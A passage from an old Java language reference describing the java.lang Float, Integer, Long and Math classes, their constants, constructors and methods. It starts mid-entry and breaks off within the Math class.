If the sequence of characters in the given String does not form a valid float literal.

Description

Constructs a Float object with the value specified by the given string. The string must contain a sequence of characters that forms a legal float literal. This method ignores leading and trailing whitespace in the string.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the truncated value of this object as a byte. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an byte, the method returns Byte.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an byte, the method returns Byte.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Float and it contains the same value as the object this method is associated with. More specifically, the method returns true if the floatToIntBits() method returns the same result for the values of both objects.

This method produces a different result than the == operator when both values are NaN. In this case, the == operator produces false, while this method returns true. By the same token, the method also produces a different result when the two values are +0.0 and -0.0. In this case, the == operator produces true, while this method returns false.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the float value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, if f is the value of the object, this method returns Float.floatToIntBits(f).

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the truncated value of this object as an int. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an int, the method returns Integer.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an int, the method returns Integer.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

isInfinite

public boolean isInfinite(float v)

Returns

true if the value of this object is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the value of this object is an infinity value.

isNaN

public boolean isNaN()

Returns

true if the value of this object is equal to NaN; otherwise false.

Description

This method determines whether or not the value of this object is NaN.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the truncated value of this object as a long. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by a long, the method returns Long.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by a long, the method returns Long.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the truncated value of this object as a short. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an short, the method returns Short.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an short, the method returns Short.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

toString

public String toString()

Returns

A string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains a representation of the value of this object.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of this object is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class;
Double;
Exceptions;
Floating-point literals;
Floating-point types;
Number;
String

Previous | Home | Next
Double | Book Index | Integer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Integer

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Integer

Name

Integer

Synopsis

Class Name:

java.lang.Integer

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Integer class provides an object wrapper for an int value. This is useful when you need to treat an int value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify an int value for one of these arguments, but you can provide a reference to an Integer object that encapsulates the int value. Also, as of JDK 1.1, the Integer class is necessary to support the Reflection API and class literals.

The Integer class also provides a number of utility methods for converting int values to other primitive types and for converting int values to strings and vice versa.

Class Summary

public final class java.lang.Integer extends java.lang.Number {
    // Constants
    public static final int MAX_VALUE;
    public static final int MIN_VALUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Integer(int value);
    public Integer(String s);
    // Class Methods
    public static Integer decode(String nm)            // New in 1.1
    public static Integer getInteger(String nm);
    public static Integer getInteger(String nm, int val);
    public static Integer getInteger(String nm, Integer val);
    public static int parseInt(String s);
    public static int parseInt(String s, int radix;
    public static String toBinaryString(long i);
    public static String toHexString(long i);
    public static String toOctalString(long i);
    public static String toString(int i);
    public static String toString(int i, int radix);
    public static Integer valueOf(String s);
    public static Integer valueOf(String s, int radix);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final int MAX_VALUE = 0x7fffffff // 2147483647

Description

The largest value that can be represented by an int.

MIN_VALUE

public static final int MIN_VALUE = 0x80000000 // -2147483648

Description

The smallest value that can be represented by an int.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type int. It is always true that Integer.TYPE == int.class.

Constructors

Integer

public Integer(int value)

Parameters

value

The int value to be encapsulated by this object.

Description

Creates an Integer object with the specified int value.

public Integer(String s) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid int literal.

Description

Constructs an Integer object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Integer decode(String nm)

Availability

New as of JDK 1.1

Parameters

nm

A String representation of the value to be encapsulated by an Integer object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

An Integer object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any nondigit characters other than a leading minus sign or the value represented by the String is less than Integer.MIN_VALUE or greater than Integer.MAX_VALUE.

Description

This method returns an Integer object that encapsulates the given value.

getInteger

public static Integer getInteger(String nm)

Parameters

nm

The name of a system property.

Returns

The value of the system property as an Integer object, or an Integer object with the value 0 if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Integer getInteger(String nm, int val)

Parameters

nm

The name of a system property.

val

A default int value for the property.

Returns

The value of the system property as an Integer object, or an Integer object with the value val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Integer getInteger(String nm, Integer val)

Parameters

nm

The name of a system property.

val

A default Integer value for the property.

Returns

The value of the system property as an Integer object, or the Integer object val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as an Integer object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's as a decimal integer.

parseInt

 public static int parseInt(String s) throws NumberFormatException

Parameters

s

The String to be converted to an int value.

Returns

The numeric value of the integer represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer.

Description

This method returns the numeric value of the integer represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static int parseInt(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to an int value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the integer represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer, or radix is not in the appropriate range.

Description

This method returns the numeric value of the integer represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toBinaryString

public static String toBinaryString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the binary representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned binary number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more `0' and `1' characters. The method returns "0" if its argument is 0. Otherwise, the string returned by this method begins with `1'.

toHexString

public static String toHexString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the hexadecimal representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned hexadecimal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', `9', `a', `b', `c', `d', `e', and `f'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

To produce a string that contains upper- instead of lowercase letters, use the String.toUpperCase() method.

toOctalString

public static String toOctalString(int value)

Parameters

value

The int value to be converted to a string.

Returns

A string that contains the octal representation of the given value.

Description

This method returns a String object that contains a representation of the given value as an unsigned octal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^32 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', and `7'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

toString

public static String toString(int i)

Parameters

i

The int value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

public static String toString(int i, int radix)

Parameters

i

The int value to be converted to a string.

radix

The radix used in converting the value to a string. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The string representation of the given value in the specified radix.

Description

This method returns a String object that contains the representation of the given value in the specified radix.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more characters that represent the magnitude of the given value. The characters that can appear in the sequence are determined by the value of radix. If N is the value of radix, the first N characters on the following line can appear in the sequence:

0123456789abcdefghijklmnopqrstuvwxyz

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

 public static Integer valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

Returns

The Integer object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer.

Description

Constructs an Integer object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Integer valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into an Integer object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Integer object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of an integer or radix is not in the appropriate range.

Description

Constructs an Integer object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte. The high order bits of the value are discarded.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Integer and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the int value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short. The high order bits of the value are discarded.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character;
Class;
Exceptions;
Integer literals;
Integer types;
Long;
Number;
String;
System

Previous | Home | Next
Float | Book Index | Long
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Long

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Long

Name

Long

Synopsis

Class Name:

java.lang.Long

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Long class provides an object wrapper for a long value. This is useful when you need to treat a long value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a long value for one of these arguments, but you can provide a reference to a Long object that encapsulates the long value. Furthermore, as of JDK 1.1, the Long class is necessary to support the Reflection API and class literals.

The Long class also provides a number of utility methods for converting long values to other primitive types and for converting long values to strings and vice versa.

Class Summary

public final class java.lang.Long extends java.lang.Number {
    // Constants
    public static final long MIN_VALUE;
    public static final long MAX_VALUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Long(long value);
    public Long(String s);
    // Class Methods
    public static Long getLong(String nm);
    public static Long getLong(String nm, long val);
    public static Long getLong(String nm, Long val);
    public static long parseLong(String s);
    public static long parseLong(String s, int radix);
    public static String toBinaryString(long i);
    public static String toHexString(long i);
    public static String toOctalString(long i);
    public static String toString(long i);
    public static String toString(long i, int radix);
    public static Long valueOf(String s);
    public static Long valueOf(String s, int radix);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final long MAX_VALUE = 0x7fffffffffffffffL

Description

The largest value that can be represented by a long.

MIN_VALUE

public static final long MIN_VALUE = 0x8000000000000000L

Description

The smallest value that can be represented by a long.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type long. It is always true that Long.TYPE == long.class.

Constructors

Long

public Long(long value)

Parameters

value

The long value to be encapsulated by this object.

Description

Creates a Long object with the specified long value.

public Long(String s) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid long literal.

Description

Constructs a Long object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

getLong

public static Integer getLong(String nm)

Parameters

nm

The name of a system property.

Returns

The value of the system property as a Long object or a Long object with the value 0 if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Long getLong(String nm, long val)

Parameters

nm

The name of a system property.

val

A default value for the property.

Returns

The value of the system property as a Long object or a Long object with the value val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Long getLong(String nm, Long val)

Parameters

nm

The name of a system property.

val

A default value for the property.

Returns

The value of the system property as a Long object, or the Long object val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

parseLong

 public static long parseLong(String s) throws NumberFormatException

Parameters

s

The String to be converted to a long value.

Returns

The numeric value of the long represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a long value.

Description

This method returns the numeric value of the long represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static long parseLong(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a long value.

radix

The radix used in interpreting the characters in the String as digits. It must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the long represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a long or radix is not in the appropriate range.

Description

This method returns the numeric value of the long represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toBinaryString

public static String toBinaryString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the binary representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned binary number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more `0' and `1' characters. The method returns "0" if its argument is 0. Otherwise, the string returned by this method begins with `1'.

toHexString

public static String toHexString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the hexadecimal representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned hexadecimal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', `9', `a', `b', `c', `d', `e', and `f'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

To produce a string that contains upper- instead of lowercase letters, use the String.toUpperCase() method.

toOctalString

public static String toOctalString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the octal representation of the given value.

Description

This method returns a String object that contains a representation of the given value as an unsigned octal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', and `7'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

toString

public static String toString(long i)

Parameters

i

The long value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

public static String toString(long i, int radix)

Parameters

i

The long value to be converted to a string.

radix

The radix used in converting the value to a string. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The string representation of the given value in the specified radix.

Description

This method returns a String object that contains the representation of the given value in the specified radix.

This method returns a string that begins with`-' if the given value is negative. The rest of the string is a sequence of one or more characters that represent the magnitude of the given value. The characters that can appear in the sequence are determined by the value of radix. If N is the value of radix, the first N characters on the following line can appear in the sequence:

0123456789abcdefghijklmnopqrstuvwxyz

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

 public static Long valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

Returns

The Long object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a long.

Description

Constructs a Long object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single - character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Long valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Long object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a long.

Description

Constructs a Long object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte. The high order bits of the value are discarded.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double. Rounding may occur.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Long and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the long value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, the result is the exclusive OR of the two halves of the long value represented by the object. If value is the value of the object, the method returns a result equivalent to the following expression:

(int)(value^(value>>>32))

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int. The high-order bits of the value are discarded.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short. The high-order bits of the value are discarded.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character;
Class;
Exceptions;
Integer;
Integer literals;
Integer types;
Number;
String;
System

Previous | Home | Next
Integer | Book Index | Math
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Math

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Math

Name

Math

Synopsis

Class Name:

java.lang.Math

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Math class contains constants for the mathematical values pi and e. The class also defines methods that compute various mathematical functions, such as trigonometric and exponential functions. All of these constants and methods are static. In other words, it is not necessary to create an instance of the Math class in order to use its constants and methods. In fact, the Math class does not define any public constructors, so it cannot be instantiated.

To ensure that the methods in this class return consistent results under different implementations of Java, all of the methods use the algorithms from the well-known Freely-Distributable Math Library package, fdlibm. This package is part of the network library netlib. The library can be obtained through the URL http://netlib.att.com. The algorithms used in this class are from the version of fdlibm dated January 4, 1995. fdlibm provides more than one definition for some functions. In those cases, the "IEEE 754 core function" version is used.

Class Summary

public final class java.lang.Math extends java.lang.Object {
    // Constants
    public static final double E;
    public static final double PI;
    // Class Methods
    public static int abs(int a);
    public static long abs(long a);
    public static float abs(float a);
    public static double abs(double a);
    public static native double acos(double a);
    public static native double asin(double a);
    public static native double atan(double a);
    public static native double atan2(double a, double b);
    public static native double ceil(double a);
    public static native double cos(double a);
    public static native double exp(double a);
    public static native double floor(double a);
    public static native double IEEEremainder(double f1, double f2);
    public static native double log(double a);
    public static int max(int a, int b);
    public static long max(long a, long b);
    public static float max(float a, float b);
    public static double max(double a, double b);
    public static int min(int a, int b);
    public static long min(long a, long b);
    public static float min(float a, float b);
    public static double min(double a, double b);
    public static native double pow(double a, double b);
    public static synchronized double random();
    public static native double rint(double a);
    public static int round(float a);
    public static long round(double a);
    public static native double sin(double a);
    public static native double sqrt(double a);
    public static native double tan(double a);
}

Constants

E

public static final double E = 2.7182818284590452354

Description

The value of this constant is e, the base for natural logarithms.

PI

public static final double PI = 3.14159265358979323846

Description

The value for this constant is pi.

Class Methods

abs

public static double abs(double a)

Parameters

a

A double value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument to this method is negative or positive zero, the method should return positive zero. If the argument is positive or negative infinity, the method returns positive infinity. If the argument is NaN, the method returns NaN.

public static float abs(float a)

Parameters

a

A float value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument to this method is negative or positive zero, the method should return positive zero. If the argument is positive or negative infinity, the method returns positive infinity. If the argument is NaN, the method returns NaN.

public static int abs(int a)

Parameters

a

An int value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument is Integer.MIN_VALUE, the method actually returns Integer.MIN_VALUE because the true absolute value of Integer.MIN_VALUE is one greater than the largest positive value that can be represented by an int.

public static long abs(long a)

Parameters

a

A long value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument is Long.MIN_VALUE, the method actually returns Long.MIN_VALUE because the true absolute value of Long.MIN_VALUE is one greater than the largest positive value represented by a long.

acos

public static native double acos(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc cosine measured in radians; the result is greater than or equal to 0.0 and less than or equal to pi.

Description

This method returns the arc cosine of the given value.

If the value is NaN or its absolute value is greater than 1.0, the method returns NaN.

asin

public static native double asin(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc sine measured in radians; the result is greater than or equal to -pi/2 and less than or equal to pi/2.

Description

This method returns the arc sine of the given value.

If the value is NaN or its absolute value is greater than 1.0, the method returns NaN. If the value is positive zero, the method returns positive zero. If the value is negative zero, the method returns negative zero.

atan

public static native double atan(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc tangent measured in radians; the result is greater than or equal to -pi/2 and less than or equal to pi/2.

Description

This method returns the principle value of the arc tangent of the given value.

If the value is NaN, the method returns NaN. If the value is positive zero, the method returns positive zero. If the value is negative zero, the method returns negative zero.

atan2

public static native double atan2(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The theta component of the polar coordinate (r,theta) that corresponds to the cartesian coordinate (a,b); the result is measured in radians and is greater than or equal to -pi and less than or equal to pi.

Description

This method returns the theta component of the polar coordinate (r,theta) that corresponds to the cartesian coordinate (a,b). It computes theta as the principle value of the arc tangent of b/a, using the signs of both arguments to determine the quadrant (and sign) of the return value.

If either argument is NaN, the method returns NaN.

If the first argument is positive zero and the second argument is positive, then the method returns positive zero. If the first argument is positive zero and the second argument is negative, then the method returns the double value closest to pi.

If the first argument is negative zero and the second argument is positive, the method returns negative zero. If the first argument is negative zero and the second argument is negative, the method returns the double value closest to -pi.

If the first argument is positive and finite and the second argument is positive infinity, the method returns positive zero. If the first argument is positive and finite and the second argument is negative infinity, the method returns the double value closest to pi.

